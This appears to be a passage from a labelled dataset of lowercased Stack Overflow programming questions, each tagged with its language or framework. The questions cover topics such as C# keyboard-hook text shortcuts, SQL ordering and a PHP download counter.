&gt;area title&lt;/div&gt; &lt;/div&gt; &lt;div class= zipcodebox &gt;   &lt;div class= zipcode &gt;93304&lt;/div&gt;   &lt;div class= zipcodeboximage &gt;&lt;a href=  &gt;&lt;img src=   alt= zipcode &gt;&lt;/a&gt;&lt;/div&gt;   &lt;div class= zipcodeboxtitle &gt;&lt;a href=  &gt;area title&lt;/div&gt; &lt;/div&gt; &lt;div class= zipcodebox &gt;   &lt;div class= zipcode &gt;93308&lt;/div&gt;   &lt;div class= zipcodeboximage &gt;&lt;a href=  &gt;&lt;img src=   alt= zipcode &gt;&lt;/a&gt;&lt;/div&gt;   &lt;div class= zipcodeboxtitle &gt;&lt;a href=  &gt;area title&lt;/div&gt; &lt;/div&gt; &lt;div class= zipcodebox &gt;   &lt;div class= zipcode &gt;93306&lt;/div&gt;   &lt;div class= zipcodeboximage &gt;&lt;a href=  &gt;&lt;img src= http://bakersfieldtopagents.com/wp-content/uploads/2016/08/cityimage.jpg  alt= zipcode &gt;&lt;/a&gt;&lt;/div&gt;   &lt;div class= zipcodeboxtitle &gt;&lt;a href=  &gt;area title&lt;/div&gt; &lt;/div&gt; &lt;div class= zipcodebox &gt;   &lt;div class= zipcode &gt;93305&lt;/div&gt;   &lt;div class= zipcodeboximage &gt;&lt;a href=  &gt;&lt;img src=   alt= zipcode &gt;&lt;/a&gt;&lt;/div&gt;   &lt;div class= zipcodeboxtitle &gt;&lt;a href=  &gt;area title&lt;/div&gt; &lt;/div&gt; &lt;div class= zipcodebox &gt;   &lt;div class= zipcode &gt;93307&lt;/div&gt;   &lt;div class= zipcodeboximage &gt;&lt;a href=  &gt;&lt;img src=   alt= zipcode &gt;&lt;/a&gt;&lt;/div&gt;   &lt;div class= zipcodeboxtitle &gt;&lt;a href=  &gt;area title&lt;/a&gt;&lt;/div&gt; &lt;/div&gt; &lt;div class= zipcodebox &gt;   &lt;div class= zipcodeother &gt;other areas&lt;/div&gt;   &lt;div class= zipcodeboximage &gt;&lt;a href=  &gt;&lt;img src=   alt= zipcode &gt;&lt;/a&gt;&lt;/div&gt;   &lt;div class= zipcodeboxtitlextra1 &gt;&lt;a href=  &gt;area title&lt;/a&gt;&lt;/div&gt;   &lt;div class= zipcodeboxtitlextra2 &gt;&lt;a href=  &gt;area title&lt;/a&gt;&lt;/div&gt;   &lt;div class= zipcodeboxtitlextra3 &gt;&lt;a href=  &gt;area title&lt;/a&gt;&lt;/div&gt;   &lt;div class= zipcodeboxtitlextra4 &gt;&lt;a href=  &gt;area title&lt;/a&gt;&lt;/div&gt; &lt;/div&gt; &lt;div class= title &gt;search homes by zipcode&lt;/div&gt; &lt;/center&gt; </code></pre>,html
decimal point with remainder  i need help with my calculator app.i m using two float variables so when i do an exercise account  for example 6/2 the result is 3.000000 (with decimal point) and not 3 because it is a float variable. however  if i do 2/6 the result is 0.33333 how can i fix the problem that show the decimal point only if have a remainder.    here s the code:    <pre><code>//add the number to uilabel -(ibaction)numberpressed:(uibutton *)sender {  nsstring *number = sender.currenttitle; if (self.typingnumber) {     self.firstlabel.text = [self.firstlabel.text stringbyappendingstring:number]; } else {      self.firstlabel.text = number;     self.typingnumber = yes;     }  }  //equal method -(ibaction)equalpress:(id)sender {   self.typingnumber = no; self.secondnum = [self.firstlabel.text floatvalue]; result = 0;  if ([self.operation isequaltostring:@ + ]) {     result = self.firstnum + self.secondnum;    } if ([self.operation isequaltostring:@ - ]) {     result = self.firstnum - self.secondnum;    } if ([self.operation isequaltostring:@ x ]) {     result = self.firstnum * self.secondnum;    } if ([self.operation isequaltostring:@ / ]) {     result = self.firstnum / self.secondnum;    }  self.firstlabel.text = [nsstring stringwithformat:@ %f   result];  } </code></pre>,objective-c
how to run uninstall.exe using .net  i tried lots of things but i can not initiate uninstaller using .net    <pre><code>    dim p as new process     dim uninstallstring as string =  c:\windows\procharge plugin\uninstall.exe  &amp;   /u:c:\program files\procharge plugin\irunin.xml      p.startinfo.arguments = uninstallstring                p.start() </code></pre>,.net
jquery text slider loop  i have been trying to create a text slider  where it fades and slides in and then fades and slides out. then the next element comes and does the same thing.    manage to come up with this.    <a href= http://jsfiddle.net/3jkkj/6/  rel= nofollow >http://jsfiddle.net/3jkkj/6/</a>   <pre><code>$(document).ready(function() {      $( #heading1 ).css({opacity: 0}).animate({opacity: 1.0 left:  50px }  1000);          $( #heading1 ).css({opacity: 0}).delay(5000).animate({opacity: 0 left:  -50px }  1000);       $( #heading2 ).css({opacity: 0}).delay(7000).animate({opacity: 1.0 left:  50px }  1000);      $( #heading2 ).css({opacity: 0}).delay(5000).animate({opacity: 0 left:  -50px }  1000);       $( #heading3 ).css({opacity: 0}).delay(14000).animate({opacity: 1.0 left:  50px }  1000);      $( #heading3 ).css({opacity: 0}).delay(5000).animate({opacity: 0 left:  -50px }  1000);       $( #heading4 ).css({opacity: 0}).delay(21000).animate({opacity: 1.0 left:  50px }  1000);     $( #headings4 ).css({opacity: 0}).delay(5000).animate({opacity: 0 left:  -50px }  1000);  }) </code></pre>   seems a bit trivial having those delays in there  is there a more effective way and how can i loop this so it is constantly looping.,jquery
arraystoreexception: null while casting list to array  this may sound silly  but  i get this error while casting from list to array:    arraystoreexception: null    the code that i am using right now is :   <pre><code>public void onsuccess(list&lt;agent&gt; resultlist) {      agent[] array = new agent[resultlist.size()];     resultlist.toarray(array); </code></pre>   agent its a class that i have defined with their own field definitions  being all of them private final strings    but i dont know what i could be missing atm.    thank you in advance for your help.    kind regards,java
using  #define  symbolic constants in ansi c  after coming across symbolic constants via k&amp;r s the c programming language i fail to see the usage/importance of them. i d rather use a  real  constant  say an integer  than using a <code>#define</code> statement. i can see why you would use say...   <pre><code>#define pi 3.14 </code></pre>   as opposed to just typing  3.14  in your program but why would you use a <code>#define</code> statement if  i could just use...   <pre><code>static const double pi = 3.14; </code></pre>   are symbolic constants used today or is it just a feature of the language that was more useful  back in the day      what do you recommend i should use for constants,c
custom content-type for file in rails  public  folder  for assets stored in the  public  folder of a ruby-on-rails application is it possible to change the  content-type  when running  script/server   for example  i am attempting to create an html5 application supporting offline mode  and have an  offline.manifest . when i run:   <pre><code>curl -i localhost:3000/offline.mainfest </code></pre>   the following header information is returned:   <pre><code>http/1.1 200 ok ... content-type: text/plain ... </code></pre>   however  html5 specifications require:   <pre><code>http/1.1 200 ok ... content-type: text/cache-manifest ... </code></pre>,ruby-on-rails
can i specify pool size dynamically   i am using sql server and .net. is there any way to specify pool size with out connection string  i mean  how to specify pool size dynamically,.net
how to control multi selection from multi selection box to display value  how do i implement a function to display values when selecting different choices(including multi choice from one dropdown) from multi dropdown list selection  for instance  the html would be    <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;body&gt; &lt;div&gt;  &lt;select name= entities &gt;   &lt;option value= 0 &gt;--select one item--&lt;/option&gt;   &lt;option value= 1 &gt;entity1&lt;/option&gt;   &lt;option value= 2 &gt;entity2&lt;/option&gt;   &lt;option value= 3 &gt;entity3&lt;/option&gt;  &lt;/select&gt; &lt;/div&gt;  &lt;div&gt;  &lt;select name= categories  multiple&gt;   &lt;option value= 0 &gt;--select one item--&lt;/option&gt;   &lt;option value= 1 &gt;category1&lt;/option&gt;   &lt;option value= 2 &gt;category2&lt;/option&gt;   &lt;option value= 3 &gt;category3&lt;/option&gt;  &lt;/select&gt;  &lt;/div&gt;  &lt;p&gt; display values &lt;/p&gt; &lt;div id= displayvalues &gt;&lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   for example  the display rules that need to satisfy the following table   <pre><code>|--------------------------|------------------|----------------------| |      display value       |     entities     | categories           | |--------------------------|------------------|----------------------| |  value1                  |        entity1   | category1            | |--------------------------|------------------|----------------------| |   value2                 |        entity2   | category1            | |--------------------------|------------------|----------------------| |   value3                 |        entity1   | category2            | |--------------------------|------------------|----------------------| |   value4                 |        entity1   | category1 &amp; category2| |--------------------------|------------------|----------------------| |    ...                   |         ...      |      ...             | </code></pre>   how can i create a generic javascript function to control the display value for different conditions  instead of writing all conditions using if else inside the function  (ps.may write a generic function and a seperate dictionary for containing all rules  ),javascript
keychain certificate  my certificate (.p12 file) when imported to the keychain gives an error (this certificate has expired) what should i do,iphone
typing in richtextbox need to fire an event on keypress  i have a richtextbox in asp.net i need an alert on key press please help me regarding this     thanks in advance    devi,.net
app group with an ios app using enterprise and apple developer program  i have two ios apps and i would like to use app group to share data between them. but i use them with two developer accounts:   <ul> <li>apple developer enterprise program  for in house distributions</li> <li>apple developer program  for app store releases.</li> </ul>   is it possible to use app group in my scenario  as far as i know app group can be used between apps which comes from one apple developer (enterprise) program. i have stuck on it.     do you know whether i am able to resolve this issue keeping two apple developer programs  or  it may be possible to set different app group id depending on different build configuration,ios
how can i implement push notification on iphone   how can i implement push notification on iphone,iphone
set image path from outside drive from our application s root directory  i am using asp  image control for image display or html image control for that  i want to set the image url of image that is outside of our web application s root directory... on which way this is possible,asp.net
persistant queue<> or list<> even when program shuts down or restarts  i m trying to make an application restart/crash/endtask persistant queue (or list..). ie: i need to add things to it when the application runs and remove things at later times. between these two occations the application can have restarted multiple times (or crashed  or been end-tasked for all i know).    my first thought was to just simply create a <code>mylist.txt</code> file to store the data line by line and add lines to the end when i need too and take and remove the first line when i m done with it.    problem is that there can be many thousands of lines in the text file after a while and there is no way to just remove the first line in it without reading and rewriting the entire file.    so are there any good ways of accomplishing this  given that continously reading and writing the entire file is not an option     <strong>edit 1</strong>: i am looking at sqlite  but i would prefer to not add any more dependencies or .dll s that can t be ilmerged if possible.    <strong>edit 2:</strong> the application can t depend on any external servers to keep track of things for it.    <strong>edit 3:</strong> a suggestion of an ilmerge compatible local database would also be an acceptable solution.,c#
extracting data from a given string pattern  given the following pattern:  ##-##-##   where  ##  represents a 1 or 2 digit integer  what is the best way to separate the numbers     some background: i have an array of nsstring objects. from this array i create a new mutable array  converting some of the strings into nsnumbers (this is working). some of the strings have the pattern shown above (the pattern represents wins  losses and ties). i want to add to the mutable array  the string (as is) as well as the wins  losses  and ties as nsintegers.    i don t know if it would be better to use an nsscanner or nsregularexpression. i have not used either of these before and i m not sure how to set them up and return the info that i need.    thanks in advance <br> brad,objective-c
c# detect when word is typed (global hook)  i have an app which uses globallowlevelhook (to get input events even if i am typing outside the app).    basically  it lets me execute some functions when it detects that predefined characters where typed.    for example  if i am in google chrome and i type  <strong><em>!t [space]</em></strong>  (wherever i want or even just in a notepad) it s going to call a function (whatever i want).    here is my full code   <pre><code>using globallowlevelhooks;       public keyboardhook kh; //this is globallowlevelhooks library public observablecollection&lt;keyboardhook.vkeys&gt; keys;      public mainwindow() {     initializecomponent();     //initialize everything i need for the hook to work     keys = new observablecollection&lt;keyboardhook.vkeys&gt;();     keys.collectionchanged += keys_collectionchanged;     kh = new keyboardhook();     kh.keydown += kh_keydown;     kh.install();                         }  private void kh_keydown(keyboardhook.vkeys key) {     keys.add(key); }  private void keys_collectionchanged(object sender  system.collections.specialized.notifycollectionchangedeventargs e) {     if (keys.count &gt; 2)     {         //checks if i entered  !t   or  !y           if (keys[keys.count - 1] == keyboardhook.vkeys.space)             if (keys[keys.count - 2] == keyboardhook.vkeys.key_t)             {                 if (keys[keys.count - 3] == keyboardhook.vkeys.oem_8) // !  key                     writenewday();             }else if (keys[keyz.count - 2] == keyboardhook.vkeys.key_y)             {                 if (keyz[keys.count - 3] == keyboardhook.vkeys.oem_8)                     writesameday();             }     } }  </code></pre>   my goal is to to be able for a user to choose his proper characters. i just can t find a way of doing this.    it s a bit like software/games that let you choose which keys you want but instead of simple keys it s a serie of chars.    here s an example of my current app. it just writes some formatted text after i type  !t  . but what if i wanted to change the it by  <em>writesomething</em> . i would have to change my source code each time.    <a href= https://i.stack.imgur.com/mbkcb.gif  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/mbkcb.gif  alt= enter image description here ></a>    any ideas,c#
how to count a specific number from a file in c++  yes  this is a question for a class  but i don t want my homework done for me.  i just need to figure out where i m going wrong.  the question that i have to figure out states this:     <strong><em>write a program which uses the file produced in lab 1 as its input file.  this program gets user input of a value from 1000 to 10000  and counts how many times the user s value appears in the input file.  it reports to the user using screen output.</em></strong>    here s the code that i have after several failed attempts:   <pre><code>#include &lt;iostream&gt; #include &lt;fstream&gt;   using namespace std;  int count(int number  int input  int length) {     int counter = 0;     for(int i = 0; i &lt; length; i++)         if(input == number)             counter++;     return counter; }  int main() {     int num input;      ifstream fin;     fin.open( ran_num.txt );     if(fin.fail())     {         cout&lt;&lt; input file opening failed. &lt;&lt;endl;         cin.get();     }      cout&lt;&lt; enter a number between 1000 to 10000: ;     cin&gt;&gt;num;      fin&gt;&gt;input;      cout&lt;&lt;num&lt;&lt; appears  &lt;&lt;count(num  input  3000)&lt;&lt;  times in the file. &lt;&lt;endl;      return 0; } </code></pre>   i m completely lost and just need to figure out what i use to count a user inputer value.  any help is appreciated!    <strong>edit</strong> this is what i have now.  my program can now read the whole file  but i still do not know how to count a user-inputted number.   <pre><code>#include &lt;iostream&gt; #include &lt;fstream&gt; #include &lt;iomanip&gt;   using namespace std;  int main() {     ifstream fin( ran_num.txt );     int num  user_input;      cout&lt;&lt; enter a number between 1000 to 10000: ;     cin&gt;&gt;user_input;      while(fin&gt;&gt;num)     {         if(num == user_input)         {             cout&lt;&lt;count++;         }     }     return 0; } </code></pre>,c++
append from own object  how can i just append an object to another in the same object  like this:   <pre><code>&lt;div class= foo &gt;   &lt;div class= bar &gt;foo&lt;/div&gt;   &lt;div class= lorem &gt;bar&lt;/div&gt; &lt;/div&gt; &lt;div class= foo &gt;   &lt;div class= bar &gt;foo&lt;/div&gt;   &lt;div class= lorem &gt;bar&lt;/div&gt; &lt;/div&gt; </code></pre>   now i will but the first div into the second one  so like:   <pre><code>$( .bar ).appendto( .lorem ); </code></pre>   here the foo will appear on every bar on the website. in this example it will appear twice (<a href= http://codepen.io/sukrams/pen/zqgeyb  rel= nofollow >like this</a>). is there a possibility to jump just the foo into the .lorem-div which is in the same container     i tried it with something like <code>$(this).$( .bar ).appendto(this).( .lorem )</code> but it doesn t work.,jquery
virtual member in constructor  workaround  i have a class  baseemailtemplate  that formats an email  and i want to create a derived type that can overrule the defaults. originally my base constructor -    <pre><code>public baseemailtemplate(topic topic)         {                  createaddresses(topic);                 createsubject(topic);                 createbody(topic);          }  ... (body/addresses)  protected virtual void createsubject(topic topic)     {         subject = string.format( base boring format: {0}   topic.name);     } </code></pre>   and in my derived   <pre><code>public newemailtemplate(topic topic) : base (topic)         {              //do other things         }  protected override void createsubject(topic topic)         {             subject = string.format( new topic: {0} - {1})   topic.id  topic.name);         } </code></pre>   of course this leads to the error discussed here: <a href= https://stackoverflow.com/questions/119506/virtual-member-call-in-a-constructor >virtual member call in a constructor</a>    so to be absolutely blunt about this - i don t want to have to call the same methods in every derived type. on the flip side  i need to be able to change any/all. i know another base has a different subset of addresses  but the body and subject will be the default.     all three methods must be called  and the ability to alter any one of them needs to be available on a per derived basis.    i mean the thing everyone seems to be saying is an unintended consequence of using virtual seems to be my exact intention.. or maybe i m in too deep and singly focused     <strong>update- clarification</strong>    i understand why virtual members in the constructor is bad  i appreciate the answers on that topic  though my question isn t  why is this bad   its  ok this is bad  but i can t see what better serves my need  so what do i do      this is how it is currently implemented   <pre><code> private void sendnewtopic(topicdto topicdto)         {             topic topic = mapper.map&lt;topicdto   topic&gt;(topicdto);             var newemail = new newemailtemplate(topic);             sendemail(newemail);  //preexisting template reader infrastructure              //logging.....         } </code></pre>   i m dealing with a child and grandchild. where i came in there was only newemailtemplate  but i have 4 other tempaltes i now have to build  but 90% of the code is reusable. thats why i opted to create baseemailtemplate(topic topic). basetemplate creates things like subject and list and other things that sendemail is expecting to read.   <pre><code>  newemailtemplate(topic topic): baseemailtemplate(topic topic): basetemplate  iemailtempate </code></pre>   i would prefer not have to require anyone who follows my work have to know that    <pre><code> var newemail = new newemailtemplate();  newemail.init(topic); </code></pre>   is required every single time it is used. the object would be unusable without it. i thought there were many warnings about that,c#
trouble with some syntax of c++ <pre><code>    #include&lt;iostream&gt; using namespace std;  class a {  public:     a(int ii = 0) : i(ii) {}     void show() { cout &lt;&lt;  i =   &lt;&lt; i &lt;&lt; endl;}  private:     int i; };  class b {  public:     b(int xx) : x(xx) {}     operator a() const { return a(x); }  private:     int x; };  void g(a a) {  a.show(); }  int main() {   b b(10);   g(b);   g(20);   getchar();   return 0; }  </code></pre>   in the above code can anyone explain what does the line    <pre><code>a(int ii = 0) : i(ii) {} </code></pre>   mean and how the output of the program    <pre><code>i = 10 i = 20 </code></pre>,c++
website redirection  suppose that the user is currently located <code>http://www.example.com/folder1/folder2/</code>.  i would like to be able redirect them to the home page at <code>http://www.example.com/</code>.  the catch is  i don t know i m two folders deep and i don t know what the domain name is.  to do this  what should the <code>href</code> be in a link   for example  <code>href= ../../ </code> would seem to work if i know <em>a priori</em> i m two folders deep  but in general i won t know that.  i want a link that will <em>always</em> direct me right to the home page  regardless of how  deep  i am and regardless of the domain name of the site.  how do i do this     thanks in advance!,html
refresh a certain page in jquery  this is an issue bothering in my mind until now if is it possible to refresh/reload a certain page even if you are not in that page. given a scenario.    i am in page   <pre><code>www.try.com/trythis.php </code></pre>   i want to refresh a certain page like   <pre><code>www.try.com/refreshme.php </code></pre>   i know how to refresh a page if you are in that page using <code>location.reload</code> or redirect  but i just want to reload a certain page without going to that page or i am not on that page.    is this possible in jquery  hope i explain well my question :),jquery
order data by two columns  how can i order a set of data  by two seperate columns     one of the two columns is not always 0  i need it ordered by the largest of either column.    currently getting this set of data from   <pre><code>order by value1 desc  value2 desc;  name       |  value1     |  value 2 ----------------------------------------   a        |    17       |    0   b        |    11       |    0   c        |    0        |    57   d        |    0        |    15 </code></pre>   but i want it to be like this:   <pre><code>    name       |  value1     |  value 2     ----------------------------------------       c        |    0        |    57       a        |    17       |    0       d        |    0        |    15       b        |    11       |    0 </code></pre>,sql
can i return a streamreader from a method   can i return a streamreader from a method,.net
ranking rows skips rank 1  i have a table for players:   <pre><code>+------------+-----------+ | player_id  |   date    | +------------+-----------+ |          1 | 27/1/2018 | |          1 | 27/1/2018 | |          1 | 27/1/2018 | |          2 | 27/1/2018 | |          2 | 27/1/2018 | |          3 | 27/1/2018 | +------------+-----------+ </code></pre>   i m trying to rank them by the amount of occurrences grouped by the player_id.    this is what i tried:   <pre><code>select total2.player_id  count(*) + 1 as rank from (     select player_id  count(*) as total     from players     group by player_id ) total2 inner join (     select player_id  count(*) as total     from players     group by player_id ) total3 on total3.total &gt; total2.total group by total2.player_id </code></pre>   result i m getting:   <pre><code>+------------+------+ | player_id  | rank | +------------+------+ |          2 |    2 | |          3 |    3 | +------------+------+ </code></pre>   result i m trying to get:   <pre><code>+------------+------+ | player_id  | rank | +------------+------+ |          1 |    1 | |          2 |    2 | |          3 |    3 | +------------+------+ </code></pre>,mysql
generic type pointers  and casting byte array to given type of generic   okay the basic idea what i m trying to do is  converting byte array to something like short or int etc. etc.    a simple example might be:   <pre><code>        unsafe         {             fixed (byte* bytearray = new byte[5] { 255  255  255  126  34 })             {                 short shortsingle = *(short*)bytearray;                 messagebox.show((shortsingle).tostring()); // works fine output is -1             }         } </code></pre>   okay  so what i m really trying to do is  make an extension to stream class; extended read and write methods. i need help at the following code:   <pre><code>unsafe public static t read&lt;t&gt;(this stream stream)         {             int bytestoread = sizeof(t); // error: cannot take the address of  get the size of  or declare a pointer to a managed type ( t )             byte[] buffer = new byte[bytestoread];             if (bytestoread != stream.read(buffer  0  bytestoread))             {                 throw new exception();             }             fixed (byte* bytearray = buffer)             {                 t typesingle = *(t*)bytearray; // error: cannot take the address of  get the size of  or declare a pointer to a managed type ( t )                 return typesingle;             }         }          unsafe public static t[] read&lt;t&gt;(this stream stream  int count)         {              // haven t figured out it yet. this is where i read and return t arrays         } </code></pre>   i feel like i have to use pointers for speed because i will be working on writting and reading data from streams like networkstream classes. thanks for your help!    edit:    and while i try to figure out how may i return t arrays  i ve faced with this problem:   <pre><code>unsafe         {             fixed (byte* bytearray = new byte[5] { 0  0  255  255  34 })             {                 short* shortarray = (short*)bytearray;                 messagebox.show((shortarray[0]).tostring()); // works fine output is 0                 messagebox.show((shortarray[1]).tostring()); // works fine output is -1                  short[] managedshortarray = new short[2];                 managedshortarray = shortarray; // the problem is  how may i convert pointer to a managed short array  error: cannot implicitly convert type  short*  to  short[]              }         } </code></pre>   <strong>the summary: i have to convert from byte array to given type of t or to given type of t array with given length</strong>,c#
why does calling the list constructor twice result in an empty list   i am learning python now and i met a question i don t know why   <pre><code>&gt;&gt;&gt; a = [1 2 3 4] &gt;&gt;&gt; b = reversed(a) &gt;&gt;&gt; list(b) [4  3  2  1] &gt;&gt;&gt; list(b) [] </code></pre>   why the second time i called list(b) it returned an empty list,python
how to get servicename from nssharingservice  i am using      <pre><code>nsarray *sharingservice = [nssharingservice sharingservicesforitems:[nsarray arraywithobject:url]]; </code></pre>   to get the list of sharing services that i can use with url  i want to send the title + image of those services to be displayed in the ui (html / js) once the user selects a service i want to start it  i cant pass the actual service to js so i would like to pass the servicename that i can then invoke with <code>sharingservicenamed:(nssharingservicename)servicename;</code> however as a beginner with objc i cant seem to find out how to do that.,objective-c
cleaning tweets in python  an example of the json file: <a href= https://nofile.io/f/j3eqsk2cwsb/raw_tweets.json  rel= nofollow noreferrer >https://nofile.io/f/j3eqsk2cwsb/raw_tweets.json</a>    i am trying to extract only the bit with full_text so the output should look something like this:   <pre><code>    #deathstroke 31 @dccomics \u2022 super airdrop opening &amp;amp; it only gets better from there \u2022 it\u2019s not just  #batmanmammamia  folks! #sladewilson in dept to #mento &amp;amp; #brucewayne methodology a bit more cosmopolitan https:\/\/t.co\/jwugbn4fqm </code></pre>   i am using this code:   <pre><code>savefile = open( raw_tweets.json   r ) for line in savefile:     tweet = line.split( :{ full_text :  )[1].split(   display_text_range :  )[0]     print(tweet) </code></pre>   and i am getting this error:   <pre><code>    traceback (most recent call last):   file  c:\users\shortening_tweets.py   line 7  in &lt;module&gt;     tweet = line.split( :{ full_text :  )[1].split(   display_text_range :  )[0] indexerror: list index out of range </code></pre>   line 7 is the line with the split can someone tell me what am i doing wrong,python
asp.net - email to image   in my project i have a lot of email addresses on static sites.    is there an algorithm to display the emails as images  so bots can t find them,asp.net
"angularjs display further information on click  i m currently displaying a list of operations that the user can invoke in a dropdown menu.    i want to display all the information related to an operation the moment you click on it.      i ve got this so far:    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>app.controller( selectall   [ $http    $scope     $rootscope   function ($http  $scope  $rootscope) {
 
     $scope.response;
     $scope.operations;
     $scope.operationdetails;
 
 
     $rootscope.$on( invokeselectall   function(){
         $scope.invokeselectall();
     });
 
     $scope.invokeselectall  = function(){
         $scope.response = $http.post( /invoke/selectall/   $rootscope.dataobj);
         $scope.object = $rootscope.object;
         $scope.response.then(function(data) {
             $scope.responses = data.data   data.data :  select operation not supported on this bean ;
         });
     };
 
     $scope.getoperation = function (operation) {
 
         $scope.operationdetails = operation;
         console.log(operation);
     }
 }]);</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div ng-controller= selectall &gt;
   &lt;div align= left &gt;
     &lt;div class= dropdown &gt;
       &lt;button class= btn btn-primary dropdown-toggle  type= button  data-toggle= dropdown &gt;
            choose operation
            &lt;span class= caret &gt;&lt;/span&gt;&lt;/button&gt;
       &lt;ul class= dropdown-menu &gt;
         &lt;li ng-repeat= operation in object.operations &gt;
           &lt;a href= #  ng-click= getoperation(operation) &gt;
            {{operation.name}}
           &lt;/a&gt;
         &lt;/li&gt;
       &lt;/ul&gt;
     &lt;/div&gt;
   &lt;/div&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>
     i m using the getoperation(operation) function in html to send the operation object altogether in the javascript controller. the operation object contains fields like description  return type and a list of parameters.    i want to display those fields when you click an operation from the dropdown menu.    mentions: i use angularjs 1.6.1    any help would be much appreciated!",html
error: constructor is private  litte question:    here is the class:   <pre><code>class author  {      author(const std::string&amp; name  const std::string&amp; email  gender gender);     author&amp; setname(const std::string&amp; name);  private:     std::string a_name;     std::string a_email;     int a_gender; } </code></pre>   and i don t know why  he is write the next error:    error:  author::author(const string&amp;  const string&amp;  gender)  is private|    but it is defently constructor  so what is privet for him so he can t get acsses     tanks!,c++
strange behavior of type-attribute in inputs in chrome  ff  ie & opera  i found nothing in the html spec about how a browser (google chrome  ff  ie &amp; opera all in latest version) has to behave if there is an onclick handler on an input with a wrong type  so i m asking you  experts :)    i used the following html and imagined the browser gave me some kind of error (maybe just in the developer console log)  but it just reloads the whole page!   <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;body&gt;     &lt;form class= form-inline &gt;         &lt;button type= button color  onclick= document.getelementbyid( magic ).innerhtml= clicked broken button  &gt;broken button&lt;/button&gt;         &lt;button type= button        onclick= document.getelementbyid( magic ).innerhtml= clicked button         &gt;button&lt;/button&gt;     &lt;/form&gt;     &lt;p id= magic &gt;&lt;/p&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   as you can see  the first button has a wrong type  whereas the second button has a correct type. both buttons have nearly the same onclick-handler  the only difference is the text of the paragraph  that is changed.    when you click on the first button  the paragraph s text is changed and the whole page reloads  which results in an empty paragraph. when you click on the second button  everything acts as expected and the paragraph s text is just changed - without a reload.    so  can you tell me why reloading the whole page is the default behavior in all 4 major browsers. shouldn t a browser make a hint about a miss-typed button (maybe by printing an error message in the developer console log). for me this is very confusing :(,html
enterprise library not to be seen in gac  in our app server  i see microsoft enterprise library 5.0 installed. but i dont see any related files in following gac locations: %windir%\microsoft.net\assembly\ c:\windows\assembly    the dlls are present only in this folder \program files (x86)\microsoft enterprise library 5.0\bin.    the problem is my batch (.net framework 4.5.2) keeps on failing on running as it is unable to find an msel 5.0 library in gac. i want msels to be in gac as we have many batch programs that need to be deployed to the server. please advise how to fix this problem.,.net
reading huge data set from database through java using multi-threading program  in my project i am generating a report. this involves huge data transmission from the db.    the logic is like user will give certain criteria based on which first we will fetch parent items from db.there may be 100000 parent items.not only this after getting this items we are gathering child items of this parent items and there detailed details. all to gather this parent and child information we are putting in one response xml.     it is fine for small records. but for huge records it is taking more time. we are using a tool as a back end system.which stores the records.it has its own query set so query optimization did not work.all we have to do it with java.    can any one from the team give some idea how to optimize this.,java
host file  log download  and host stats via php   i m a .net guy attempting a php thing here  so am totally out of my comfort zone right now. what i think i want to do is to have 3 files:   <ul> <li> <strong><code>download.php</code></strong>:    (a) contains a lookup of ids to filenames (so <code>download.php file=11</code> querystring tells me i should host abc.zip)    (b) some code to log this download to <code>stats.log</code>    (c) a couple <code>header()</code> calls and a <code>readfile()</code> call  similar to the answer to <a href= https://stackoverflow.com/questions/494016/best-way-to-transparently-log-downloads >this question</a> </li> <li> <strong><code>stats.log</code></strong>: a simple log file that might look like the following example. this allows for logging to be accomplished by simply appending a line of text yet allows me to condense it from time to time. </li> </ul>  <hr>  <pre><code>abc.zip 1234 xyz.zip 4321 abc.zip 1 abc.zip 1 abc.zip 1 xyz.zip 1 abc.zip 1 </code></pre>  <hr>  <ul> <li><strong><code>stats.php</code></strong>: this is ultimately the php file that serves the stats. they can be real-time or near real-time  perhaps re-reading the file every minute and caching it or whatever. i don t really care and this won t be hit all that often but i do need to make sure that this isn t a stupidly expensive operation. this need not be a pretty page. something so a human can easily read it is all that matters  so no fancy requirements there. for the above example of <code>stats.log</code>  i d like this to serve something like the following:</li> </ul>  <hr>  <pre><code>abc.zip: 1238 downloads xyz.zip: 4322 downloads </code></pre>  <hr>   ultimately  i don t want a database or any other systems involved in this. i only have ftp access to the server  so i can t really do much other than place scripts into the directory. i realize that i ll need to make sure that the script has write permissions to <code>stats.txt</code>  which is fine.    so my questions. i have a number of them but i believe they re all quite easy for somebody who knows php.   <ol> <li>i think i have the hosting portion of <code>download.php</code> understood by setting headers and using readfile. however  how could i have a collection of key/value pairs representing file ids and filenames  if i were in .net  i could do something like: <code>var foo = new dictionary&lt;int  string&gt; {{11   abc.zip }  {12   xyz.zip }}</code> but i don t have a clue what this looks like in php.</li> <li>how do i get querystrings  i need to pull from the url  stuff/download.php file=11  and take the 11 to grab my  abc.zip  out of my lookup collection.</li> <li>how do i write the newline to my <code>stats.log</code> file </li> <li>how do i loop through my <code>stats.log</code> file in my <code>stats.php</code> script to count up and host these stats </li> <li>bonus question: how do i cache the results from step 4 and only read the file once every minute/hour/or whatever </li> </ol>   i can probably fill in some gaps if somebody can answer at least most of these questions  but help sure would be appreciated! :),php
how can i read the content of a file streamed with csv.writer   i have a complex structure that involves an object (called mc from the class myclass in the following simplified code) that is supposed to  on some occasions  add lines to a csv file (test1.csv and test2.csv in this example).    the program is actually a server that need to stay waiting in the end. here i replaced the whole part with a pending input as i noticed the same problem occurs in this case.    here is the simplified program:   <pre><code>import csv class myclass(object):     def __init__(self):         csvfile = open( ./test1.csv    w   encoding= utf-8   newline=  )         stream = csv.writer(csvfile  delimiter=     quotechar= |   quoting=csv.quote_minimal)         stream.writerow([ stream created ])          csvfile2 = open( ./test2.csv    w   encoding= utf-8   newline=  )         self.stream2 = csv.writer(csvfile2  delimiter=     quotechar= |   quoting=csv.quote_minimal)         self.stream2.writerow([ stream2 created ])     def do(self):         self.stream2.writerow([ done ])  mc = myclass() mc.do() _ = input( doing a pause ) </code></pre>   so basically here i create an object  mc   creating at the same time two streams. stream1 gets closed when the initialization is over  with just one line being added  but stream2 is kept as an attribute for later use.    if i leave the input pending i can notice that both test1.csv and test2.csv were created  but test1.csv has the line i expect and test2.csv is empty (i would expect it to have the lines  stream2 created  and  done ). if i make the program finish then test2.csv becomes filled as i needed.    my problem is that i would like to check the contents of the 